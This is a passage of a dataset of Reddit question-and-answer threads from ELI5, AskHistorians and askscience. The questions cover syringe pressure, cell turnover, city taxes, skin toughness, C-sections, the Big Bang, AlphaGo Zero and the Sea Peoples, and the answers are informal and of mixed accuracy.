the \"standard unix\" bits should work in order to simplify things for developers who wanted to write portable unix software.  This standard was POSIX."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "15n6hq", "title": "is true Britain was undergoing climate trouble in and around 750 BC?", "selftext": " ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/15n6hq/is_true_britain_was_undergoing_climate_trouble_in/", "answers": {"a_id": ["c7nz234"], "score": [3], "text": ["Could be, my go-to list would be here: _URL_0_, and it doesn't mention anything specific to Britain.\n\nThere are some reports that the climate became wetter, causing bronze-age settlements to move to the uplands, but I don't know what the evidence for this is."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Timeline_of_environmental_history#8th_century"]]}
{"q_id": "dy5oo1", "title": "why does a 10 ml syringe feel easier to push fluid through when compared to a 20 ml syringe?", "selftext": "I work in a hospital and we often have to flush spaces in the body and control the amount of pressure delivered. 10 and 20 ml syringes have the same size opening, but the 20 ml has a larger diameter.  Anecdotally, the smaller syringes are easier to push volume through.  \n\nMy boss recently made me stop irrigating contrast the other day while using a 20 ml syringe, because \u201cit was creating too much pressure delivered\u201d, and switch to a 10 ml.  I hate generating waste but we had to open a 10 instead.  I am quite sure this is wrong but unsure why. Is this physics or the design of the syringe (eg rubber on the piston). Thank you reddit!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dy5oo1/eli5_why_does_a_10_ml_syringe_feel_easier_to_push/", "answers": {"a_id": ["f7yj1ap", "f7yj8do", "f7ymm76"], "score": [5, 2, 2], "text": ["With a larger diameter barrel, the same forward distance pushes more volume of fluid.  Since the end of the syringe has the same diameter opening in both cases, you're pushing much more volume of fluid through the same opening.  Think of a 8 lane highway funneling down to 1 lane with construction, vs a 4 lane highway.  8 lanes are going to have more cars per foot prior to the funnel, and the whole volume of traffic behind the merge will be traveling slower as the same rate of cars exit the other side of the merge.\n\nAnother way to look at it is, if in both cases the forward motion of the plunger is the same speed, then the exit of the syringe has to be higher pressure to accommodate (which is probably what you're boss was talking about).  Using the larger syringe with the same force on the plunger, means you're forcing four times the volume of fluid out the other side (a cylinder of twice the diameter contains 4x the volume).", "If I am understanding of your explanation, more area applying a force to a fluid produces more pressure, so more diameter=more pressure", "Pressure = force / surface area. The plunger has more surface area acting on the fluid, so it takes more force to reach the same pressure. \n\nThe large one also has more contact area between the rubber of the plunger and the walls, which can also increase the force requirement. \n\nA small diameter syringe will give you more control because moving the plunger a given distance results in a smaller volume injected.\n\n > \u201cit was creating too much pressure delivered\u201d  \n\nyour boss probably meant volume, rather than pressure."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "8u58mm", "title": "how does the body shed non-external cells? (not on the skin, or in the digestive tract?)", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8u58mm/eli5_how_does_the_body_shed_nonexternal_cells_not/", "answers": {"a_id": ["e1cpm06", "e1cpsu6", "e1cpxib", "e1cxqye", "e1cymb1", "e1d024u", "e1dmxpz"], "score": [4, 7, 15, 5, 3, 2, 2], "text": ["A lot of your internal cells are broken down by immune cells and then replaced. As for bone the cells do die, I believe they are also picked up by immune cells. ", "First thing's first, the 7 year thing is bunkum. Just toss it in the trash bin. \n\nBeyond that, your body has phagocytes, cells who have the job of eating various debris, including bacteria, and the remains of billions of cells you have die every day.", "The 7 year thing isn't true.\n\nStomach lining cells last a few days, cardiac muscle cells and long neurons may last your entire life.\n\nFor interior cells, they're (hopefully) not really dying at a significant pace so the immune system's background clean-up procedure is good enough.\n\nRed blood cells turnover pretty quickly and mark themselves for destruction by the immune system after they've worn down too badly.", "When the cell dies, it splits itself into small compartments, kind of like packing up whatever\u2019s left in a Toys R Us store into boxes. These neat little boxes are then absorbed by white blood cells, digested and the cellular contents recycled to create new cells. If something isn\u2019t recycled it is removed from your body when you go to the toilet.", "Apoptosis occurs where the cell is essentially popped and all it\u2019s little remains are removed.", "The Lymph System exists to return all the fluid in the blood that leaks out into the body. that does not make it back to the heart over the course of a day.\n\nLymph nodes and the spleen clear out loose particles and the remains of dead cells.  Including bacteria and viruses (which is why it has important immune functions)", "cells lining your digestive tract can shed like skin cells, be digested, and poopped out.\n\nOther cells in the body die naturally by apoptosis. After which, macrophages will come in and digest those dead cells."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "8cztzt", "title": "city taxes", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8cztzt/eli5_city_taxes/", "answers": {"a_id": ["dxj3yhd", "dxj4iqj", "dxj4xfx", "dxjdqwg"], "score": [7, 2, 2, 2], "text": [" >  Why do I owe the city money every year?\n\nBecause you live in the city and use city services.  Everybody kicks into the pot so that everyone can benefit.  Now granted Detroit has a lot of problems, but that doesn't change the principal.", "Cities provide services every year. They have to keep paying police and fire. They have to keep paying teachers. They have to keep filling potholes and mowing parks. So you have to pay a tax every year to cover this...", " >  Why do I owe the city money every year?\n\nThe same reason everyone else does.  Police, fire department, roads, sewers, public schools, etc.  The city is handling those utilities and services, and everyone who lives, earns, or spends in the city is pitching it to fund them.", " >   I pay about 2.3% of my pre-tax income in city taxes. Why do I owe the city money every year?\n\nBecause you (specifically your employer's payroll department) are not withholding enough of your pay check to cover the actual amount that you will owe.  There's no way to go into any specifics of how much you should owe  &  why your standard withholding don't cover it without looking at your taxes in detail which is well outside the scope of ELI5.\n\nIf this bothers you, talk to somebody in payroll about additional wit holdings."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "dydw49", "title": "How strong is human skin relative to other animals?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/dydw49/how_strong_is_human_skin_relative_to_other_animals/", "answers": {"a_id": ["f810yju", "f8120lu", "f8147ii", "f814n6n", "f816xn2", "f819rte", "f81tr60", "f81w04c", "f81x309", "f81yyz2", "f8289ku", "f82e99y", "f831rgz"], "score": [1841, 4065, 29, 179, 355, 96, 26, 19, 5, 9, 18, 12, 4], "text": ["It's important to consider scale. To a rhinoceros horn you're not very thick at all, but on the scale of insects we are quite tough. There are areas of your skin that are tough enough that a mosquito can't bite you there, for example. We are definitely more vulnerable than most mammals, but to some creatures we are quite resilient still!\n\nThe skin of an ancient human who likely had more scars, callouses, and weathering, would likely be much stronger than ours. But we live pretty easy lives, and usually prefer softer skin over tougher skin.", "A human raised in similar conditions to animals winds up with very thick skin on the hands, feet and sun exposed areas. \n\nLook at the skin on the feet of individuals who regularly walk barefoot and it's often quite thick, then combine that with the increased need for thick skin on uneven, rocky ground.\n\nMost mammals have relatively similar skin, with examples like rhinos, elephants and other savannah animals being an exception due to the increased need for protection from sun and predators, as well as the need for water retention.\n\nThe average indoor human, though, has thinner skin than we otherwise would have, being more similar to subterranean or nocturnal animals like moles and mice.", "What about human sized animals like goats, llamas, deer, baboons, pythons, monitor lizards, crocodiles, wolves, and fish?  Some of these like crocodiles will have much tougher skin.  With other animals like deer, there isn't much difference.  I don't know for sure which is stronger.", "If you compare humans to closest relative primates, our skin is softer and weaker but more sensitive. We need it more that way. I think it\u2019s maybe also a (by)product of neoteny - an evolutionary change which made humans keep child abilities (ability to learn, more emotions and less instinct etc) into adulthood. But it also meant we kept also some physical ones (soft skin, less body hair, soft face features, ...). We are more similar to a chimpanzee baby than to an adult.", "It doesn't answer your entire question, but I think it's worth noting that different skins/hides have different properties that might influence strength, depending on your definition. For example, falconers tend to use kangaroo leather because while it's not terribly difficult to pierce, it's very difficult to tear, unless you know the precise grain direction. Other mammalian leathers fail to meet with this requirement.", "This led me to thinking about the tissue in our esophagus and digestive tract. I absolutely hate it when a fish bone gets lodged in my gums or tongue or throat. And animals out there just munch, chew and swallow fish whole like it's nothing.", "Just wanted to mention that many animals with tough protective fur or that have been domesticated often tend to have less thick skin cell layers compared to humans, as we have no hair for additional protection. For example, dogs have layers 3-5 cells thick while in contrast humans average 10-15 cells thick. [Source](_URL_0_)", "For pampered humans who shower every day and hardly exposed to the elements? Very weak. For a human in the wild? Pretty tough. But our skin is nothing too special, our strength is nothing too special, etc. It's really our minds that set us apart from everything else.", "On average epidermis from any mammal is about the same in density and strength, however muscle mass is the main factor of \"skin strength\", a bears skin can be pierced just as easy as my own but the bears muscles and bones are harder to pierce and break because the bear is much more active and lives in more hostile environments, then you also have hide strength which can add some extra strength to skin but nothing to extremely different", "In a similar fashion why is it if I slice my finger cutting a bagel, blood goes squirting everywhere but on nature documentaries I can watch a pack of jackals tearing apart a wildebeast and there seems to be very little bloodletting. Do humans bleed far easier than other mammals?\n\n[graphic animal content](_URL_0_)", "Depends on what animal you compare use to. Human have a natural armour bonus of +0, a tiger has a natural armour bonus of +3, and an elephant has a natural armour bonus of +9. Each +1 makes you approximately 5% less likely to hit them effectively in combat.", "A lot of people say that horses have very thick skin to justify hitting them with crops and using spurs, but it's been proven they have thinner skin and more nerve endings in their skin than humans. Especially in the areas where spurs would hit on them. So yeah. \n\nBeing from the south and around horses I hear this ALL of them time. It's like these people don't k ow what Google is.", "I can't tell you compared to other animals, but I have friends who do flesh suspensions who happily told me that human skin can hold approximately 66lbs per square inch. These folks like to stick hooks in their back and suspend themselves from the ceiling, trees, ornate rigs, etc and swing, and to determine the minimum number if hooks you need, they take your weight divided by 66, but they usually use a few more hooks just to play it safe.\n\n[An example of this process. No nudity but still NSFW unless your boss is really cool.](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["https://www.vetwest.com.au/pet-library/skin-the-difference-between-canine-and-human-skin"], [], [], ["https://youtu.be/h9B8n7ubgUg"], [], [], ["https://youtu.be/rbpgmpr6VL4"]]}
{"q_id": "28gezi", "title": "Was there any real support for Pilsudski's Miedzymorze plan outside Poland?", "selftext": "Polish leader Josef Pilsudski proposed the creation of a massive federation of eastern and central European states after WW1, essentially to strengthen them against Germany and the USSR. Was this plan realistic, and how was it viewed outside Poland?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/28gezi/was_there_any_real_support_for_pilsudskis/", "answers": {"a_id": ["ciao2gy"], "score": [6], "text": ["Even within Poland a lot of people disagreed with it.\n\nPilsudski's plan relied on many, many countries coming together to coordinate.  Here was the problem.\n\nPilsudski pissed off Lithuania when he waltzed into Vilnus/Wilno and claimed it for Poland (as it as his hometown).\n\nUkraine was in a civil war, and they were suspicious of the idea as it was likely to result in Polish hegemony, like under the Polish-Lithuanian Commonwealth.  Ditto with Belarus.\n\nLatvia and Estonia had little interest in falling under a Polish hegemony.\n\nGermany and France were extremely suspicious of Pilsudski, and would likely have frustrated his attempts to create this federation.\n\nThe Soviets also opposed it and actively sought to frustrate his attempts.\n\nLastly, a large chunk of Poland opposed it, preferring instead to occupy territories that were historically Polish or could be easily Polonized.\n\nSource:\n\nDavies, White Eagle, Red Star"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "83ljbw", "title": "When a woman gets a c-section during birth, does labor just turn off?", "selftext": "I guess I always imagined labor to be a process that can\u2019t stop once it\u2019s started, but at what point does your body send the signal to the brain to stop labor when a c section is performed?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/83ljbw/when_a_woman_gets_a_csection_during_birth_does/", "answers": {"a_id": ["dvizezp", "dvj175x", "dvj2izm", "dvj35bw"], "score": [59, 275, 11, 9], "text": ["Not really, but she\u2019s not feeling the contractions anymore. \n\nMore info:\nC-sections happen for a variety of reasons at several stages of labor. Some women come in not even contracting to have a scheduled c-section. Others labor and due to a variety of factors need a C-section either semi-urgently or emergently. \n\nAnesthesia is generally down one of three ways. \n\nFirst and most common is the labor epidural. This helps numb up the contractions during labor. Many women can still feel a contraction but their pain level is very low. \n\nSecond, spinal anesthesia. Like an epidural but more powerful and fire and forget. \n\nThird, general anesthesia with a breathing tube - generally reserved for emergencies or if lady can\u2019t have spinal/epidural anesthesia\n\nHope this helps", "The end of labor is delivery of the placenta. Whether that is vaginally or surgically, the complete detachment and removal of the placenta is the trigger for involution of the uterus to start (shrinking back to non-pregnant size).", "Contractions work off of a positive feedback loop. \n\nMost things in our body work off a negative feedback loop, meaning when we make enough end product it goes back to the source and says \u201cstop, we\u2019re good\u201d. With labor and contractions, it\u2019s the opposite. The baby has gotten bigger and in the right position so it starts pushing on the cervix. So the cervix relays to the brain to release oxytocin to help contractions even more creating a greater contraction the next time. And that cycle continues until delivery of the baby and the placenta. \n\nSo with a c section, you\u2019re removing a huge part of that positive feedback loop, so labor itself doesn\u2019t actually occur for that much longer. But like others have mentioned, you will still have some contractions during/after Caesarian. \n\nTLDR: yeah, labor turns off because the baby isn\u2019t trying to move down and out of the moth. ", "Labor goes off a positive feedback loop. As the baby pushes on the uterus walls, the mind releases oxytocin. This causes contractions, leading to more pushing, leading to more oxytocin. As soon as the pressure is removed the contractions stop because the body does not release any more oxytocin because there is no pressure "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "aup80v", "title": "how does a seemingly endless amount of material in the universe come from just one singularity from the big bang? how were so many planets, stars, galaxies, and more formed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aup80v/eli5_how_does_a_seemingly_endless_amount_of/", "answers": {"a_id": ["eh9ku7b", "eh9ld99", "eh9nrzd", "eh9pjzi", "eh9s3gu"], "score": [9, 46, 5, 2, 3], "text": ["Scale.   We are inside the universe so it seems large to us.   We don't know if our universe is large compared to some multiverse banana.   We also don't know if it is complex, it seems that way to us. ", "The amount of material in the observable universe is not, strictly speaking, endless. It's really fucking big (~4.5 \u00d7 10^51 kg), but finite.\n\nAs to how all that mass came from a single point of hypothetically infinite *density*, we simply don't really know, and it remains one of the big mysteries of science. \n\nWe mainly deduce that the Big Bang happened from evidence such as Red Shift and the Microwave Background Radiation.", "Big bang happens, clouds of hydrogen ( the simplest atom) are formed, gravity pulls them together, pressure builds up enough to start fusion and stars are born. Hydrogen fusion forms Helium, Helium fusion forms lithium on down the periodic chart until it gets to iron. When a star that's big enough starts to form iron it will go supernova. Out of that explosion the rest of the elements are formed and blown out into the galaxy. Again, gravity takes over forming planets, stars and galaxies from these elements. This is why we say that we are all made of stars.", "Just so you know things may seem massive and huge but if you were to compact the material that they're actually made up of it would be very tiny. The reason it seems so large and solid if because the way electrons resist each other. Most matter is filled with empty space yes, including ourselves.", "However to add on to this, the earth is what\u2019s known as a closed system. The matter here doesn\u2019t go anywhere. We have a finite amount of stuff here (aside from the random meteor landing and whatever we eject into space as trash or send up to the ISS) \n\nThe only constant thing that gets added to our world is sunlight. That being said, I hope to teach 2 things with this post. \n\n1. Invest in solar. You will get your monies worth and will die out long before the sun ever does. \n\n2. Please keep trash and recycling in our \u2018system\u2019. Get it to the garbage dumps and whatnot. Let humans take care of it rather than loosing the reclaimable resource and have it damage the environment somewhere. \n\nThank you for reading :) "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "31i0oj", "title": "How does Laplace's demon conflict with quantum mechanics?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/31i0oj/how_does_laplaces_demon_conflict_with_quantum/", "answers": {"a_id": ["cq1t16m"], "score": [6], "text": ["Quantum mechanics lacks^1 determinism, therefore the Laplace Demon would only be aware of statistical aggregate behavior and would not be able to predict the future to arbitrary precision. \n\n^1 Some interpretations keep the concept, but generally it's always much more restrictive than classical determinism. Most people just drop the concept entirely and accept true random physics."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "77j97q", "title": "What is the AI advancement made by the new AlphaGo Zero algorithm over previous machine learning techniques?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/77j97q/what_is_the_ai_advancement_made_by_the_new/", "answers": {"a_id": ["domaxm1", "don297k", "doni8ik"], "score": [2, 8, 3], "text": ["Here is the [direct link for the article](_URL_0_) published today in Nature", "What's really interesting about this is the *'tabula rasa'* aspect of AlphaGo Zero - it was trained completely from scratch and using the old AlphaGo algorithm for reinforcement learning. So not only was it trained with no prior bias or information about the game from a human, but it was completely free from any direct human interaction or intervention when being trained. From the article: \n > Our program, AlphaGo Zero, differs from AlphaGo Fan and \nAlphaGo Lee in several important aspects. First and foremost, it is \ntrained solely by self\u00adplay reinforcement learning, starting from random play, without any supervision or use of human data. Second, it uses only the black and white stones from the board as input features. Third, it uses a single neural network, rather than separate policy and value networks. Finally, it uses a simpler tree search that relies upon this single neural network to evaluate positions and sample moves, without performing any Monte Carlo rollouts. To achieve these results, we introduce a new reinforcement learning algorithm that incorporates lookahead search inside the training loop, resulting in rapid improvement and precise and stable learning. \n\nThe older versions, AlphaGo Fan, Lee and Master, all use \"handcrafted features\" - a human has defined, at least to some level, some level of abstraction above the Go board. AlphaGo Zero uses none of this, taking just the raw board. It's also simplified the method they use for reinforcement learning, bringing it down from two separate neural networks that are pulled together using a Monte Carlo Tree Search, to just one neural network. \n\n > [AlphaGo Zero] learns from self\u00ad play reinforcement learning, starting from random initial weights, without using rollouts, with no human supervision and using only the raw board history as input features. It uses just a single machine in the Google Cloud with 4 TPUs (AlphaGo Zero could also be distributed, but we chose to use the simplest possible search algorithm)\n\nAlphaGo Zero was also trained in a matter of days! So not only were they able to strip away all human supervision and abstraction above the raw inputs, but the speed at which this algorithm was trained was pretty impressive, too. ", "Really interesting aspect of this from the wikipedia page about AlphaGo Zero, sourced:\n\n*[For comparison, the researchers also trained a version of AlphaGo Zero using human games, and found that it learned more quickly, but actually performed more poorly in the long run.](_URL_0_)*"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.nature.com/nature/journal/v550/n7676/full/nature24270.html"], [], ["http://www.sciencemag.org/news/2017/10/computer-program-can-beat-humans-go-no-human-instruction"]]}
{"q_id": "1gx8ij", "title": "Where did the \"Law of Jante\" come from?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1gx8ij/where_did_the_law_of_jante_come_from/", "answers": {"a_id": ["caoqvdb"], "score": [2], "text": ["It is from a book by the Danish-Norwegian author Aksel Sandemose, called \"En flygtning krydser sit spor\". He describes growing up in a Danish provincial town called Jante, where social pressure is strong and everybody is keeping everybody \"in their place\". This is governed by the \"Law of Jante\", which is ten \"commandments\", the first one being \"You're not to think you are anything special.\"\n\nIn the book this social code is used by all strata of society, not least the upper classes keeping the working class in their place. But in Denmark today, the term \"Law of Jante\" is colloquially most often used as a term describing the common peoples disapproval of individuals being overtly successful or flaunting wealth. The newer use of the term is comparable to the \"Tall poppy syndrome\"-term.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "10pors", "title": "Is there historiographical debate over the strategy and tactics used in the Arab-Israeli Wars between 1948 and 1973?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/10pors/is_there_historiographical_debate_over_the/", "answers": {"a_id": ["c6fsqje"], "score": [2], "text": ["Look out in your research. The official The United States Military Academy coverage gets the code name of the invasion of Egypt wrong.\n\nIt was Operation Stout Hearted Men.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bxzpbq", "title": "why can't raw energy be stored or used but has to be transformed to heat or other forms and then be used for e.g. electricity?", "selftext": "They explained how a power plant works in the Chernobyl mini-series. One part that got me thinking is how they use the energy from the fission to heat up that generate the steam which in turn run the turbin and give electricity (Correct me if i'm wrong). \n\nWhat I don't understand is why can't the raw energy from the fission directly be used instead of going the whole cycle? What kind of energy is released from the fission and why can't it be stored in a battery or capacitor-like thing?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bxzpbq/eli5_why_cant_raw_energy_be_stored_or_used_but/", "answers": {"a_id": ["eqawzpn", "eqaxtyw", "eqb64jk", "eqbj5t4", "eqbjc68"], "score": [44, 13, 3, 2, 5], "text": ["Energy isn't real. It's very similar to money and is used for accounting. Like for dropping something and measuring the value m x g x h of something dropping down by a height h you find that it equals to the final 1/2 x m x v^2. That's all. It's a conserved quantity sort of like money. You can trade 3 ferraris for a big house. You can trade an mgh for a 0.5mv^2 . But the ferrari is not money and the house is not money and the ferraris is not house. It's just accounting.\n\nIn reality to get electricity you want a moving electric field. To get that you want a moving magnetic field. To move a magnetic field continuously you want it to rotate. To rotate something you want a reaction fluid to push it. To get the fluid to a high temperature and pressure to be able to push a turbine you need to heat a fluid. Fusion gives off lots of heat.", "Energy doesn't exist on its own - energy is only ever a property of physical systems. This is similar to mass - there isn't any abstract 'mass' floating around, mass is a property of particular physical objects. This is part of why the mass-energy equivalence isn't as weird as it initially sounds.\n\nSo, the energy isn't liberated in some abstract sense, it is transformed from one place in the system (mass) to another place (kinetic energy of products). Sometimes we can use kinetic energy to produce electricity more directly, by having it drive a magnet through a coil, but since the decay kinetic energy is randomly distributed it necessarily has the form of heat, and we have to build a heat engine. Turbines are, though seemingly outdated, a very effective heat engine.", "There is no such thing as \"raw energy\". Energy has a number of forms it can exist in, but it cannot exist outside of these forms. Nuclear fission releases energy in the form of heat and electromagnetic radiation. This energy is used to heat water to run a turbine.\n\nHeat energy is difficult to store, due to its tendency to conduct through any insulating media (and nuclear fission produces so much heat that it must be dissipated or the reactor will melt down). And electromagnetic radiation is pretty much impossible to store. So the best way to store that energy is to convert it into a form that can be stored, such as converting it into electrical energy and then storing it as chemical potential energy in a battery.", "Atomic batteries do exist which use charged particles like positrons(anti-electron), beta (high energy electrons) or alpha radiation (helium nuclei) to create current, but they are very inefficient. Most of the energy from fission is heat, so that's what we use.", "Energy comes in many forms.  Heat, radiation, chemical, kinetic, potential and electrical are all forms of energy.  You can convert one to another, but there's no such thing as pure energy.  \nYour understanding of how nuclear power works is correct.  However moving heat a long way is expensive and inefficient.  Moving electricity a long way can be efficient and cost effective.  That's why the heat is converted to electricity."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "39zjgy", "title": "Obscure equestrian question from Napoleonic period", "selftext": "I'm a military historian and I'm currently reading through the Court Martials of British cavalrymen from 1815. Some of the equestrian terminology is baffling and Google doesn't come up with anything. I wondered if anyone here could suggest what the following offence means \"giving his horse a low back and riding home without a lease\" - it must have been something quite serious as the offending soldier was sentenced to 100 lashes of the whip, but I just can't guess what it means.\n\nMany thanks in advance!\n(I've already tried r/horses - they suggested I try here!)", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/39zjgy/obscure_equestrian_question_from_napoleonic_period/", "answers": {"a_id": ["cs8245x"], "score": [10], "text": ["Ok. I have some suspicions about what this means. I can't find any proof, so this is more speculation than what I'm comfortable with.\n\nHowever, I did make some progress with this. Admittedly, it was challenging.\n\nFirst, I looked up alternate meanings of the word \"low.\" One of them is \"lacking in vitality or health.\" I'm willing to bet that the officer meant \"low\" in this sense. A \"low\" back would be a back that is sore or in pain.\n\nAny number of things can cause a sore back, but because the trooper was punished severely, I think he probably rode the horse incorrectly or too harshly.\n\nMy suspicion is that the trooper was riding the horse for an extended period with the horse's head forced up and back, which would cause the back to drop and become sensitive from pain. The trooper probably had \"heavy hands\" and pulled back on the bit a lot.\n\nSo, you can see the effect of holding a horse's head and neck up [here](_URL_2_) and [here](_URL_1_).\n\nCavalry horses typically were outfitted with martingales, which would prevent the head from going that far up and back.\n\nAlternatively, he might have galloped his horse for an extended period of time on a hard surface, which would make the back tender.\n\nI couldn't find that exact term in any of the cavalry manuals that I have. I'll keep looking, but as it stands, this is really all I can give you. A cavalryman could abuse his mount in any number of ways. Francis Dwyer talked abut this a fair bit in his c.1880 book, \"Bits and Bitting, Seats and Saddles.\" There are also references to rider abuse of the horse in this c.1860 manual, \"The Cavalry Manual.\" (See: _URL_0_)\n\nThere are other manuals that I consulted, of course, but none specifically used that phrase.\n\nBut at any rate, damaging the horse's back was a very serious offense, because it made the horse effectively unusable. For more information on the horse's back, Dwyer's book is an excellent scientific source:\n\n_URL_3_ (Page 35). \n\nAs for leaving without a lease, I don't have a clue what that means."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://babel.hathitrust.org/cgi/pt?id=hvd.32044080700651;view=1up;seq=58", "http://www.sustainabledressage.net/collection/false_collection/nuchal_lig_fu_normal.jpg", "http://www.sustainabledressage.net/collection/false_collection/spinal_curve2.gif", "https://archive.org/stream/onseatssaddlesbi00dwye#page/30/mode/1up"]]}
{"q_id": "9yj53s", "title": "who were the \"sea peoples?\"", "selftext": "I keep reading about how these \"Sea Peoples\" were responsible for the bronze age collapse, but who were they? Do we even know?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9yj53s/eli5_who_were_the_sea_peoples/", "answers": {"a_id": ["ea1p4sc", "ea1qi4z", "ea2fbwz"], "score": [24, 10, 3], "text": ["We don't know exactly. That is why they are called the \"Sea Peoples\". But the best guess that historians have is that they were Phoenicians or their predecessors. ", "We do have some clues\n\nHowever I would say the \"sea peoples\" probably a side affect the collapse and not the cause itself.\n\nA common explanation is probably some combination of drought , famine , plagues let to some political instabilities and \"Migrations\" as people fled.\n\nAlso Ramses III names them and the names can probably point to where they come from\n\nSome came from\n\nShardana = Sardinia ?\nShekelesh = Sicicly\n\nTjekker = Sikels or Troad?\n\nDenyen = Danaas (proto greeks)\n\nWeshesh = Wilusa (troy)\n\nvery good video \n\n_URL_0_\n\n\n\n", "Extra Credits you tube channel has some pretty good videos on the subject.\n\n[_URL_0_](_URL_1_)\n\n & #x200B;\n\nThey are short, very informative, and dumbed downed for people like me."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=bRcu-ysocX4"], ["https://www.youtube.com/watch?v=KkMP328eU5Q&amp;list=PLhyKYa0YJ\\_5ABU4r0U2Mcj\\_Gj32UN80zX", "https://www.youtube.com/watch?v=KkMP328eU5Q&amp;list=PLhyKYa0YJ_5ABU4r0U2Mcj_Gj32UN80zX"]]}
{"q_id": "b940sf", "title": "how do holes in trees where squirrels and birds live form, and why?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b940sf/eli5_how_do_holes_in_trees_where_squirrels_and/", "answers": {"a_id": ["ek2bfz8"], "score": [14], "text": ["Scars are formed in areas that are damaged as a tree grows. So for instance if a branch breaks off, over the years the base of that branch will slowly rot away and the tree will grow around the decaying wood. Once the dead wood fully wears away you're left with a hole in the tree where animals can nest. There are other factors that can contribute to this as well, such as lightning strikes, and animals digging into the tree. If it doesn't kill the tree, they will grow around the damaged areas creating really cool formations."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "aaei6a", "title": "stomach fat is a particularly harmful type of fat. is it bad because it in itself causes harm to the body, or because people that are prone to carry weight in their stomach are also prone to other ailments associated with it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aaei6a/eli5_stomach_fat_is_a_particularly_harmful_type/", "answers": {"a_id": ["ecrc0sh", "ecrd1ka", "ecs28go"], "score": [6, 8, 3], "text": ["Not a doctor, but from what I understand, the fat itself is only mildly harmful, in that it's weight compresses blood vessels and expands the distance blood needs to travel, stressing your heart somewhat and lowering blood flow to the rest of your body.\n\nHowever, the real risk comes from the fact that:\n\n* Weight encourages you to be sedentary, with all the issues that brings\n* It takes physical effort to move that fat, which burns through oxygen faster and makes your heart/lungs need to work harder and makes you more prone to heart-related illnesses.\n* A diet that leads to high body fat is likely to mess with your cholesterol and/or insulin levels, leading to diabetes and, again, more heart issues.\n\nIn short, fat does a little bit of damage by itself, but it is more of a sign/aggravating factor in a range of other, related issues. So TL;DR, yes to both.", "There's also visceral fat that attaches to your organs and makes it more difficult for them to do their job. Carrying excess fat is hard on the body. For every 1 pound of weight, it puts 4 pounds of pressure on your knees. And like the other poster said, it is more taxing on your organs. It can also affect your hormones, as it does for me. I have polycystic ovarian syndrome. Being overweight exacerbates the issue. Having PCOS makes it really easy to gain weight and really difficult to lose it. ", "The real answer is that it is hard to distinguish.  Many other animals don't deposit fat in the same way that humans do, so that makes it hard to study (rats and mice for example, don't get beer bellies and are not prone to visceral fat deposition).  That makes it hard to study in really rigorous, unequivocal ways."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "81y4iq", "title": "How did Afghanistan and the rest of the Middle East become how it is today? As I recall, back in the 70\u2019s they were quite liberal. What caused the dramatic shift into the current situation?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/81y4iq/how_did_afghanistan_and_the_rest_of_the_middle/", "answers": {"a_id": ["dv6m556", "dv6p29b", "dv6v9jq", "dv6xpr8"], "score": [2, 40, 112, 15], "text": ["What is your source for this idea that the Middle East was liberal?", "Could you define \"liberal\"? Depending on your definition, the answer varies quite a bit.", "When you see those old pictures, you\u2019re seeing a small urban elite. The majority of most Middle Eastern countries was rural until the 1970\u2019s, with some countries being rural majority until slightly later. Turkey, for instance, was rural majority until the 1980\u2019s. Afghanistan is still rural majority today. \n\nWhile some countries have gotten noticeably more conservative in public (Saudi Arabia and Iran, where *legal* changes since the 1970\u2019s enforced particularly austere, but quite different, systems of rules, for example), most have generally gotten more permissive overall since the 1970\u2019s on things like head-covering, dating, premarital sex. In many countries, Egypt, Turkey, and Lebanon notably, the old secular-oriented urban elite is still in place, still living life as before, but with massive urban 